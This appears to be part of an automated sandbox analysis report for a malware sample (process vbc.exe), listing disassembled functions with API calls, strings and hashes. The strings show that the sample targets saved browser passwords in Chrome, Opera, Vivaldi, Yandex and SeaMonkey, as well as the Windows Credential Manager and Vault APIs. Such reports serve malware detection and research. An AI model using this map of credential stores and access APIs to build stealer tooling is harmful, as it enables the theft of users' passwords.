Uniqueness

Uniqueness Score: -1.00%

Function 0128B0D4, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.515454993.0000000001287000.00000040.00000001.sdmp, Offset: 01287000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d9014afb75366407c81e9861f45062898b4356bd8859a7fc134a44a926c7b40
Instruction ID: 813b809a479b63ad9b8f06d3cbd2d89a028d7e7f68e2a273594dc302447423fc
Opcode Fuzzy Hash: 1d9014afb75366407c81e9861f45062898b4356bd8859a7fc134a44a926c7b40
Instruction Fuzzy Hash: A411FAB9508301AFD350CF49DC80A57FBE9EB88660F04892EFD9997311D231E9188BA2

Uniqueness

Uniqueness Score: -1.00%

Function 08041DF0, Relevance: .1, Instructions: 52COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.519916801.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dc4993e506ef13828ef1fb4ff54d569cc134c24914e641a75f729df70cf8f08b
Instruction ID: 22abc847bafe9b153502a7ad814f2e7ffa27b99ab11f1a195f56165e43a19a6c
Opcode Fuzzy Hash: dc4993e506ef13828ef1fb4ff54d569cc134c24914e641a75f729df70cf8f08b
Instruction Fuzzy Hash: 7511BAB9508301AFD350CF59DC81A57FBE9EB88660F04892EFD9997311D271E9188FA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D5081E, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e138f8a0213dc37e44e70d62a42c58cf5be0229ad28f66f28beb40a68aff514e
Instruction ID: a452620f957b42997264abe81c7546a0ac242edab55c6a4f60a8bb5363a70e34
Opcode Fuzzy Hash: e138f8a0213dc37e44e70d62a42c58cf5be0229ad28f66f28beb40a68aff514e
Instruction Fuzzy Hash: 1F01D475504680CFDB11EF19D9C4B22FFD4EB48721F08886AED4A4B742C3BD9804CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 02D50936, Relevance: .0, Instructions: 48COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 46b124c967cf148c02363b23d8d871d7268cc6349325fe6abfc08abb4be12932
Instruction ID: 936033d3774cbac7eb66d8b9dd1b27841d1109f2084047e9d0bb21175e9d3591
Opcode Fuzzy Hash: 46b124c967cf148c02363b23d8d871d7268cc6349325fe6abfc08abb4be12932
Instruction Fuzzy Hash: D401B5755146809EEB21CF19D980725FF94EB58721F08846ADD8A4B746C3B99804CEA2

Uniqueness

Uniqueness Score: -1.00%

Function 02D505CF, Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2785fa0a8df8c0524e8b3fac38b5d040b1ab0356948bdbf4684fb1094cff1253
Instruction ID: 80bed86afedfbfd02941d59384eb13dc00da1d890fe01c910b09aa8130323274
Opcode Fuzzy Hash: 2785fa0a8df8c0524e8b3fac38b5d040b1ab0356948bdbf4684fb1094cff1253
Instruction Fuzzy Hash: 7B01D6B65093806FD7128F0A9C40862FFB8DF86630748C4DFEC8D8B653D125A808CB72

Uniqueness

Uniqueness Score: -1.00%

Function 02D50C48, Relevance: .0, Instructions: 31COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693b7c54016a59cdbfed5bf97d611671327a7796b2b33607a59a4987e9e37b45
Instruction ID: c93389410ce98cefaa3f1bf67aed73c206b65611e57a50dc681ceafa32d3f7ce
Opcode Fuzzy Hash: 693b7c54016a59cdbfed5bf97d611671327a7796b2b33607a59a4987e9e37b45
Instruction Fuzzy Hash: 9BF01D35148645DFC706CF00D980B25FBA6EB89718F24C6ADED890B752C377D813DA81

Uniqueness

Uniqueness Score: -1.00%

Function 02D505F6, Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.516114317.0000000002D50000.00000040.00000040.sdmp, Offset: 02D50000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 19db67bcb6a22461672acea6a9e03c64699238ee845a861be911504718a6527b
Instruction ID: 8317720fb036cd736bc5cae29c17eb10b9cbb82aec34fafefd3a80f48fc5b2d1
Opcode Fuzzy Hash: 19db67bcb6a22461672acea6a9e03c64699238ee845a861be911504718a6527b
Instruction Fuzzy Hash: D5E012BA6447045FD650CF0AEC81452FBD8EB84631B58C47FDC0D8B711D576B509CEA5

Uniqueness

Uniqueness Score: -1.00%

Function 0128B123, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.515454993.0000000001287000.00000040.00000001.sdmp, Offset: 01287000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 79c36f9a0e3f29fc3a924248ea8f9c380dec29254c0ccd3d2feb43e1e9e39085
Instruction ID: a487dcb58457246b790fcde759b12dd3ad813018f789d050db89e7ee67914f9a
Opcode Fuzzy Hash: 79c36f9a0e3f29fc3a924248ea8f9c380dec29254c0ccd3d2feb43e1e9e39085
Instruction Fuzzy Hash: B3E0D8BA5413046BD2108E0A9C41B12FF58EB80A30F04C567ED0C1F701D172B5148AF5

Uniqueness

Uniqueness Score: -1.00%

Function 08041FB7, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.519916801.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 295de0c727d621ec1638621c20e9b8b899379dd6c3d355f5c6814722c5b1a4b3
Instruction ID: 02d397b3e222b1b549eb3f4d523b188863a1e398d6ef3c9ce196947f5c89ee0a
Opcode Fuzzy Hash: 295de0c727d621ec1638621c20e9b8b899379dd6c3d355f5c6814722c5b1a4b3
Instruction Fuzzy Hash: 75E048FA5513046BD2508F0A9C45B52FF98EB94A30F04C567ED0C5F741D176B51489E5

Uniqueness

Uniqueness Score: -1.00%

Function 08041E3F, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.519916801.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f05fe39a92e984c821201b0965674c5e4de627b9fd8571170b313ca8a1574465
Instruction ID: 833d904859c6902cda48a8ef1c074b7a867f95736444b69197ef83663ef27d45
Opcode Fuzzy Hash: f05fe39a92e984c821201b0965674c5e4de627b9fd8571170b313ca8a1574465
Instruction Fuzzy Hash: 92E0D8BA5013046BD2508E0A9C81B13FF98EB80A30F04C46BED0D1F302D172B51489F1

Uniqueness

Uniqueness Score: -1.00%

Function 08041863, Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.519916801.0000000008040000.00000040.00000001.sdmp, Offset: 08040000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a676f14ec4a3286883e9777c55372b7fe24f1c49699295f36dfd41b5b6ca5a71
Instruction ID: feb6dddfb36491b771af811b19ff9ab3b1cd22e097472558cf23baf11e0c5003
Opcode Fuzzy Hash: a676f14ec4a3286883e9777c55372b7fe24f1c49699295f36dfd41b5b6ca5a71
Instruction Fuzzy Hash: 47E0D8BA5513046BD210CE0AAC41B13FF98EB80A30F04C467ED0C1F301D072B514C9E1

Uniqueness

Uniqueness Score: -1.00%

Function 012723F4, Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.515375164.0000000001272000.00000040.00000001.sdmp, Offset: 01272000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b45f136eb7610f05556a20644d487681d039b38db2037211821814d5bb698e23
Instruction ID: 7c3066f9f127e12accd02f6231eb06d63b0f916603c477880b37d673dbed4883
Opcode Fuzzy Hash: b45f136eb7610f05556a20644d487681d039b38db2037211821814d5bb698e23
Instruction Fuzzy Hash: BED05EB9214A928FE3268A1CC1A4F963BE4EF51B04F4644F9E9008B6A3C378D981D200

Uniqueness

Uniqueness Score: -1.00%

Function 012723BC, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000001.00000002.515375164.0000000001272000.00000040.00000001.sdmp, Offset: 01272000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 933fa77cf8efe70e8a4c1abd50efa58cc1e0c2306af01958d919065734744221
Instruction ID: f3c0001326be66b5bb14001ab1fe08bd0d732c41c58d68e22056245044910d6d
Opcode Fuzzy Hash: 933fa77cf8efe70e8a4c1abd50efa58cc1e0c2306af01958d919065734744221
Instruction Fuzzy Hash: 73D05E742006828BE715DB1CC294F5A3BD4AB40B04F0644ECBD008B262C3B4E881C600

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: vbc.exe PID: 4484 Parent PID: 5908 vbc.exeCOMMON

Executed Functions

Function 0040978A, Relevance: 31.7, APIs: 15, Strings: 3, Instructions: 212filenativeCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004097B2

Part of subcall function 00408282: GetModuleFileNameW.KERNEL32(00000000,00000208,00000104,0040BE8F,00000000,0040BD42,?,00000000,00000208,?), ref: 0040828D

CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 004097D9

Part of subcall function 00409539: ??2@YAPAXI@Z.MSVCRT ref: 00409542

Part of subcall function 004118EA: GetModuleHandleW.KERNEL32(ntdll.dll,-00000108,00409807,?,000000FF,00000000,00000104), ref: 004118FD
Part of subcall function 004118EA: GetProcAddress.KERNEL32(00000000,NtQuerySystemInformation), ref: 00411914
Part of subcall function 004118EA: GetProcAddress.KERNEL32(NtLoadDriver), ref: 00411926
Part of subcall function 004118EA: GetProcAddress.KERNEL32(NtUnloadDriver), ref: 00411938
Part of subcall function 004118EA: GetProcAddress.KERNEL32(NtOpenSymbolicLinkObject), ref: 0041194A
Part of subcall function 004118EA: GetProcAddress.KERNEL32(NtQuerySymbolicLinkObject), ref: 0041195C
Part of subcall function 004118EA: GetProcAddress.KERNEL32(NtQueryObject), ref: 0041196E
Part of subcall function 004118EA: GetProcAddress.KERNEL32(NtSuspendProcess), ref: 00411980
Part of subcall function 004118EA: GetProcAddress.KERNEL32(NtResumeProcess), ref: 00411992

NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040981A
FindCloseChangeNotification.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 00409843
GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040984E
_wcsicmp.MSVCRT ref: 004098B7
_wcsicmp.MSVCRT ref: 004098CA
_wcsicmp.MSVCRT ref: 004098DD
OpenProcess.KERNEL32(00000040,00000000,00000000,00000000,?,000000FF,00000000,00000104), ref: 004098F1
GetCurrentProcess.KERNEL32(C0000004,80000000,00000000,00000002,?,000000FF,00000000,00000104), ref: 00409937
DuplicateHandle.KERNELBASE(00000104,?,00000000,?,000000FF,00000000,00000104), ref: 00409946
memset.MSVCRT ref: 00409964
CloseHandle.KERNEL32(C0000004,?,?,?,?,000000FF,00000000,00000104), ref: 00409997
_wcsicmp.MSVCRT ref: 004099B7
CloseHandle.KERNEL32(00000104,?,000000FF,00000000,00000104), ref: 004099F7

Strings

taskhostex.exe, xrefs: 004098D5
dllhost.exe, xrefs: 004098AE
taskhost.exe, xrefs: 004098C2

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$Handle_wcsicmp$CloseProcess$CurrentFileModulememset$??2@ChangeCreateDuplicateFindInformationNameNotificationOpenQuerySystem
String ID: dllhost.exe$taskhost.exe$taskhostex.exe
API String ID: 594330280-3398334509
Opcode ID: 744fbf75455b6098578e480c8635837c5c89e79d09ece7b140be473bd29f90d8
Instruction ID: 2b0fa152ef01bef0fcdaafddb1ab82311fd8af30ec04a4c20003f9f52c8fe1fb
Opcode Fuzzy Hash: 744fbf75455b6098578e480c8635837c5c89e79d09ece7b140be473bd29f90d8
Instruction Fuzzy Hash: 7B815E71900219EFEF10EF95C885AAEBBB5FF44305F20806EF905B6292D7399E41CB54

Uniqueness

Uniqueness Score: -1.00%

Function 0040938F, Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNELBASE(00000103,0000038B,00000000,?,00412880,*.*,?), ref: 004093A5
FindNextFileW.KERNELBASE(000000FF,0000038B,00000000,?,00412880,*.*,?), ref: 004093C3
wcslen.MSVCRT ref: 004093F3
wcslen.MSVCRT ref: 004093FB

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileFindwcslen$FirstNext
String ID:
API String ID: 2163959949-0
Opcode ID: bbfa88675e90f7cab1951949309c9f409910220031eaa870910243319b313dcd
Instruction ID: fe44496fd245f22b3294f1be8fcbf5b62ffed3b59158e7af3f9261faba672c79
Opcode Fuzzy Hash: bbfa88675e90f7cab1951949309c9f409910220031eaa870910243319b313dcd
Instruction Fuzzy Hash: CA11E97240A7019FD7149B64E884A9B73DCEF45324F204A3FF459E31C1EB78AC008718

Uniqueness

Uniqueness Score: -1.00%

Function 004141E0, Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 004141ED
SizeofResource.KERNEL32(?,00000000), ref: 004141FE
LoadResource.KERNEL32(?,00000000), ref: 0041420E
LockResource.KERNEL32(00000000), ref: 00414219

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: ec51cf45041cf25647cccbc885ed45c86f25aef72003178a0d679bc8b0aad2a7
Instruction ID: 4db2b1a63d72691fd362fce079069d1f86e41d88e51d490a39d61a138898f27d
Opcode Fuzzy Hash: ec51cf45041cf25647cccbc885ed45c86f25aef72003178a0d679bc8b0aad2a7
Instruction Fuzzy Hash: A8019636A002156B8F155FA5DD4999F7FAAFFC67D0708803AF915CA221DB70C882C688

Uniqueness

Uniqueness Score: -1.00%

Function 00418073, Relevance: 4.6, APIs: 3, Instructions: 79COMMON

Download Yara Rule

APIs

Part of subcall function 00417F9B: GetFullPathNameW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?,00000000), ref: 00417FC7
Part of subcall function 00417F9B: malloc.MSVCRT ref: 00417FD2
Part of subcall function 00417F9B: free.MSVCRT(?), ref: 00417FE2

Part of subcall function 00416CB6: GetVersionExW.KERNEL32(?), ref: 00416CD9

GetDiskFreeSpaceW.KERNELBASE(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 004180ED
GetDiskFreeSpaceA.KERNEL32(00000000,?,00000200,?,?,?,00000000,?,00000000), ref: 00418115
free.MSVCRT(00000000,?,00000000,?,00000000), ref: 0041811E

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: DiskFreeSpacefree$FullNamePathVersionmalloc
String ID:
API String ID: 1355100292-0
Opcode ID: 8e76693c67f0b4aa2a9f0ce93b5e4d32a4f514a6f71b86ff027121c958f9ef7a
Instruction ID: 44f72dfadcd4ed0e6b0cb1466d7c09a20078aec04da8d2fdb22fffa922359726
Opcode Fuzzy Hash: 8e76693c67f0b4aa2a9f0ce93b5e4d32a4f514a6f71b86ff027121c958f9ef7a
Instruction Fuzzy Hash: 8A215076800118BEEB21ABA4CC449EF7BBCAF09344F1540ABE641D7211EB784EC587A9

Uniqueness

Uniqueness Score: -1.00%

Function 00411E4C, Relevance: 104.0, APIs: 43, Strings: 16, Instructions: 752COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411EC2
wcsrchr.MSVCRT ref: 00411EDB
memset.MSVCRT ref: 0041202F

Part of subcall function 0040A94C: _wcslwr.MSVCRT ref: 0040AA14
Part of subcall function 0040A94C: wcslen.MSVCRT ref: 0040AA29

Part of subcall function 0040956D: CredEnumerateW.ADVAPI32(00000000,00000000,?,?,?,00000000,?), ref: 004095A6
Part of subcall function 0040956D: wcslen.MSVCRT ref: 004095CC
Part of subcall function 0040956D: wcsncmp.MSVCRT(?,?,00000020,?,00000000,?), ref: 00409602
Part of subcall function 0040956D: memset.MSVCRT ref: 00409679
Part of subcall function 0040956D: memcpy.MSVCRT ref: 0040969A

Part of subcall function 0040ADD0: LoadLibraryW.KERNELBASE(pstorec.dll), ref: 0040ADE1
Part of subcall function 0040ADD0: GetProcAddress.KERNEL32(00000000,PStoreCreateInstance), ref: 0040ADF4

Part of subcall function 004444B7: memcmp.MSVCRT ref: 0044455D

Part of subcall function 00410F47: memset.MSVCRT ref: 00410F6A
Part of subcall function 00410F47: memset.MSVCRT ref: 00410F7F
Part of subcall function 00410F47: memset.MSVCRT ref: 00410F94
Part of subcall function 00410F47: memset.MSVCRT ref: 00410FA9
Part of subcall function 00410F47: memset.MSVCRT ref: 00410FBE
Part of subcall function 00410F47: wcslen.MSVCRT ref: 00410FE4
Part of subcall function 00410F47: wcslen.MSVCRT ref: 00410FF5
Part of subcall function 00410F47: wcslen.MSVCRT ref: 0041102D
Part of subcall function 00410F47: wcslen.MSVCRT ref: 0041103B
Part of subcall function 00410F47: wcslen.MSVCRT ref: 00411074
Part of subcall function 00410F47: wcslen.MSVCRT ref: 00411082

memset.MSVCRT ref: 0041204B
memset.MSVCRT ref: 00412061
memset.MSVCRT ref: 0041207D
wcslen.MSVCRT ref: 004120C4
wcslen.MSVCRT ref: 004120D1
ExpandEnvironmentStringsW.KERNEL32(%programfiles%\Sea Monkey,?,00000104), ref: 004121C5
memset.MSVCRT ref: 0041217E

Part of subcall function 00407991: memset.MSVCRT ref: 004079D1
Part of subcall function 00407991: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,00000104,00000000,00000000,?,00000000,?), ref: 004079EA
Part of subcall function 00407991: memset.MSVCRT ref: 00407A23
Part of subcall function 00407991: memset.MSVCRT ref: 00407A3B
Part of subcall function 00407991: memset.MSVCRT ref: 00407A53
Part of subcall function 00407991: memset.MSVCRT ref: 00407A6B
Part of subcall function 00407991: memset.MSVCRT ref: 00407A83
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407A8E
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407A9C
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407ACB

memset.MSVCRT ref: 00412241
memset.MSVCRT ref: 0041225B
wcslen.MSVCRT ref: 00412275
wcslen.MSVCRT ref: 00412283
memset.MSVCRT ref: 004122FD
memset.MSVCRT ref: 00412317
wcslen.MSVCRT ref: 00412331
wcslen.MSVCRT ref: 0041233F
memset.MSVCRT ref: 004123C2
memset.MSVCRT ref: 004123E0
memset.MSVCRT ref: 004123FE
memset.MSVCRT ref: 00412573

Part of subcall function 00407991: wcslen.MSVCRT ref: 00407AD9
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407B08
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407B16
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407B45
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407B53
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407B82
Part of subcall function 00407991: wcslen.MSVCRT ref: 00407B90
Part of subcall function 00407991: SetCurrentDirectoryW.KERNEL32(?), ref: 00407CAB

wcslen.MSVCRT ref: 0041245B
wcslen.MSVCRT ref: 00412469
wcslen.MSVCRT ref: 004124AF
wcslen.MSVCRT ref: 004124BD
wcslen.MSVCRT ref: 00412503
wcslen.MSVCRT ref: 00412511
_wcsicmp.MSVCRT ref: 004125DA

Part of subcall function 004442F9: GetFileSize.KERNEL32(00000000,00000000,?,00000000,00000000,0041274B,?,?), ref: 00444310
Part of subcall function 004442F9: ??2@YAPAXI@Z.MSVCRT ref: 00444324
Part of subcall function 004442F9: memset.MSVCRT ref: 00444333
Part of subcall function 004442F9: ??3@YAXPAX@Z.MSVCRT ref: 00444356
Part of subcall function 004442F9: CloseHandle.KERNEL32(00000000), ref: 0044435D

Strings

Opera\Opera\wand.dat, xrefs: 0041266F, 0041268B
Google\Chrome SxS\User Data, xrefs: 004124B6, 004124D2
Data\Profile, xrefs: 004120BF, 004120E6
Login Data, xrefs: 004125D4
wand.dat, xrefs: 00412811, 00412830
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe, xrefs: 0041218B
Chromium\User Data, xrefs: 0041250A, 00412526
*.*, xrefs: 004127C4
Yandex\YandexBrowser\User Data\Default\Login Data, xrefs: 0041227C, 0041229B
Google\Chrome\User Data, xrefs: 00412462, 0041247E
Opera, xrefs: 0041277A, 00412796
Vivaldi\User Data\Default\Login Data, xrefs: 00412338, 00412357
Opera\Opera7\profile\wand.dat, xrefs: 004126D9, 004126F5
%programfiles%\Sea Monkey, xrefs: 004121C0
Opera Software\Opera Stable\Login Data, xrefs: 004128A2, 004128BE
Path, xrefs: 00412186

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: wcslen$memset$??2@??3@AddressByteCharCloseCredCurrentDirectoryEnumerateEnvironmentExpandFileHandleLibraryLoadMultiProcSizeStringsWide_wcsicmp_wcslwrmemcmpmemcpywcsncmpwcsrchr
String ID: %programfiles%\Sea Monkey$*.*$Chromium\User Data$Data\Profile$Google\Chrome SxS\User Data$Google\Chrome\User Data$Login Data$Opera$Opera Software\Opera Stable\Login Data$Opera\Opera7\profile\wand.dat$Opera\Opera\wand.dat$Path$SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\seamonkey.exe$Vivaldi\User Data\Default\Login Data$Yandex\YandexBrowser\User Data\Default\Login Data$wand.dat
API String ID: 2195781745-1743926287
Opcode ID: 0dfe16fee904680cb0bfa71703a20f26bea0553467f296cf69df4e43642452a8
Instruction ID: 7a0d4c8da9719b4bd57d9e34dd235b5097b77d6fd782259e08ea59ad0a0aa82b
Opcode Fuzzy Hash: 0dfe16fee904680cb0bfa71703a20f26bea0553467f296cf69df4e43642452a8
Instruction Fuzzy Hash: 774293B2509344ABD720EBA5D985BDBB3ECBF84304F01092FF588D3191EBB8D545879A

Uniqueness

Uniqueness Score: -1.00%

Function 0040FF55, Relevance: 35.1, APIs: 17, Strings: 3, Instructions: 149COMMON

Download Yara Rule

APIs

Part of subcall function 00403C8C: LoadLibraryW.KERNEL32(comctl32.dll,00000000,?,00000002,?,?,?,0040FF6D,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 00403CAB
Part of subcall function 00403C8C: GetProcAddress.KERNEL32(00000000,InitCommonControlsEx), ref: 00403CBD
Part of subcall function 00403C8C: FreeLibrary.KERNEL32(00000000,?,00000002,?,?,?,0040FF6D,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 00403CD1
Part of subcall function 00403C8C: MessageBoxW.USER32(00000001,Error: Cannot load the common control classes.,Error,00000030), ref: 00403CFC

SetErrorMode.KERNELBASE(00008001,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 0040FF81
GetModuleHandleW.KERNEL32(00000000,00414266,00000000,?,00000002,?,004448C6,00000000,?,0000000A), ref: 0040FF9A
EnumResourceTypesW.KERNEL32 ref: 0040FFA1

Strings

/savelangfile, xrefs: 0040FFED
, xrefs: 0040FFB5
/deleteregkey, xrefs: 0041001B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: Library$AddressEnumErrorFreeHandleLoadMessageModeModuleProcResourceTypes
String ID: $/deleteregkey$/savelangfile
API String ID: 2744995895-28296030
Opcode ID: f4a827cf65cbb4cb0b27562536f3745cfcd0fc63cfd5dde0fe9220dbb6d92dd4
Instruction ID: 58268879d1a8d32d9d01966b45afca8998e7ac275f8ef3c48d75c103cdcc3135
Opcode Fuzzy Hash: f4a827cf65cbb4cb0b27562536f3745cfcd0fc63cfd5dde0fe9220dbb6d92dd4
Instruction Fuzzy Hash: A8518F71508745AFDB20AFA2DC49A9FB7A8FF45344F40083EF684E2152DB79D8848B5A

Uniqueness

Uniqueness Score: -1.00%

Function 00409CB0, Relevance: 26.4, APIs: 7, Strings: 8, Instructions: 165COMMON

Download Yara Rule

APIs

Part of subcall function 004060BC: _wcsicmp.MSVCRT ref: 004060ED

Part of subcall function 004063BB: memset.MSVCRT ref: 004064B7

free.MSVCRT(00000000), ref: 00409E9F

Part of subcall function 00409755: _wcsicmp.MSVCRT ref: 0040976E

memset.MSVCRT ref: 00409D85

Part of subcall function 00408F43: wcslen.MSVCRT ref: 00408F56
Part of subcall function 00408F43: memcpy.MSVCRT ref: 00408F75

wcschr.MSVCRT ref: 00409DBD
memcpy.MSVCRT ref: 00409DF1
memcpy.MSVCRT ref: 00409E0C
memcpy.MSVCRT ref: 00409E27
memcpy.MSVCRT ref: 00409E42

Strings

, xrefs: 00409CE2
AccessCount, xrefs: 00409D21
CreationTime, xrefs: 00409D2E
ModifiedTime, xrefs: 00409D55
EntryID, xrefs: 00409D6F
Url, xrefs: 00409D62
AccessedTime, xrefs: 00409D48
ExpiryTime, xrefs: 00409D3B

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: memcpy$_wcsicmpmemset$freewcschrwcslen
String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
API String ID: 3849927982-2252543386
Opcode ID: 25591710af33cd07455ce6db1f3b2dc3e075db32bc947d0e32b1a7c168253070
Instruction ID: 4efc6fce7ce7295637414d4ef923d95a635c1e3a2e0485d2030de31f1e6ccd1f
Opcode Fuzzy Hash: 25591710af33cd07455ce6db1f3b2dc3e075db32bc947d0e32b1a7c168253070
Instruction Fuzzy Hash: 4051FE71D40209ABEB50EFA5DC45B9EB7B8AF54304F15403BB504B72D2EB78AD048B98

Uniqueness

Uniqueness Score: -1.00%

Function 004443B0, Relevance: 26.3, APIs: 8, Strings: 7, Instructions: 40libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNELBASE(vaultcli.dll,?,00000000), ref: 004443BD
GetProcAddress.KERNEL32(00000000,VaultOpenVault), ref: 004443D2
GetProcAddress.KERNEL32(00000000,VaultCloseVault), ref: 004443DF
GetProcAddress.KERNEL32(00000000,VaultEnumerateItems), ref: 004443EC
GetProcAddress.KERNEL32(00000000,VaultFree), ref: 004443F9
GetProcAddress.KERNEL32(00000000,VaultGetInformation), ref: 00444406
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 00444414
GetProcAddress.KERNEL32(00000000,VaultGetItem), ref: 0044441D

Strings

vaultcli.dll, xrefs: 004443B8
VaultEnumerateItems, xrefs: 004443E1
VaultCloseVault, xrefs: 004443D4
VaultOpenVault, xrefs: 004443C9
VaultGetItem, xrefs: 00444408, 0044440D, 00444416
VaultFree, xrefs: 004443EE
VaultGetInformation, xrefs: 004443FB

Memory Dump Source

Source File: 00000003.00000002.273168143.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: VaultCloseVault$VaultEnumerateItems$VaultFree$VaultGetInformation$VaultGetItem$VaultOpenVault$vaultcli.dll
API String ID: 2238633743-2107673790
Opcode ID: 78ba4d5693d53eadcf9c8744485d997ab560c1e320cc44334ae31523dad5f6ee
Instruction ID: bae3ddfd5a2cf1e2657d78bbfe85c411ed61fca9aeaa9a4901361c1bc58423a9
Opcode Fuzzy Hash: 78ba4d5693d53eadcf9c8744485d997ab560c1e320cc44334ae31523dad5f6ee
Instruction Fuzzy Hash: 5201E874940B44EFEB306F71CD09E07BAE4EF94B117118D2EE49A92A10D778E818CE54

Uniqueness

Uniqueness Score: -1.00%

Function 0040299E, Relevance: 24.8, APIs: 12, Strings: 2, Instructions: 250fileCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 004029C4
CreateFileW.KERNELBASE(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 004029DB
CopyFileW.KERNEL32(?,?,00000000), ref: 004029FC
FindCloseChangeNotification.KERNELBASE(00000000), ref: 00402A07
memset.MSVCRT ref: 00402A20
DeleteFileW.KERNEL32(?), ref: 00402C96

Part of subcall function 004080FD: GetTempPathW.KERNEL32(00000104,?,?), ref: 00408114
Part of subcall function 004080FD: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00408126
Part of subcall function 004080FD: GetTempFileNameW.KERNELBASE(?,004029F6,00000000,?), ref: 0040813D

memset.MSVCRT ref: 00402A95

Part of subcall function 00408C93: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,000003FF,000003FF,00402B19,?,?,000003FF,00000000), ref: 00408CA5

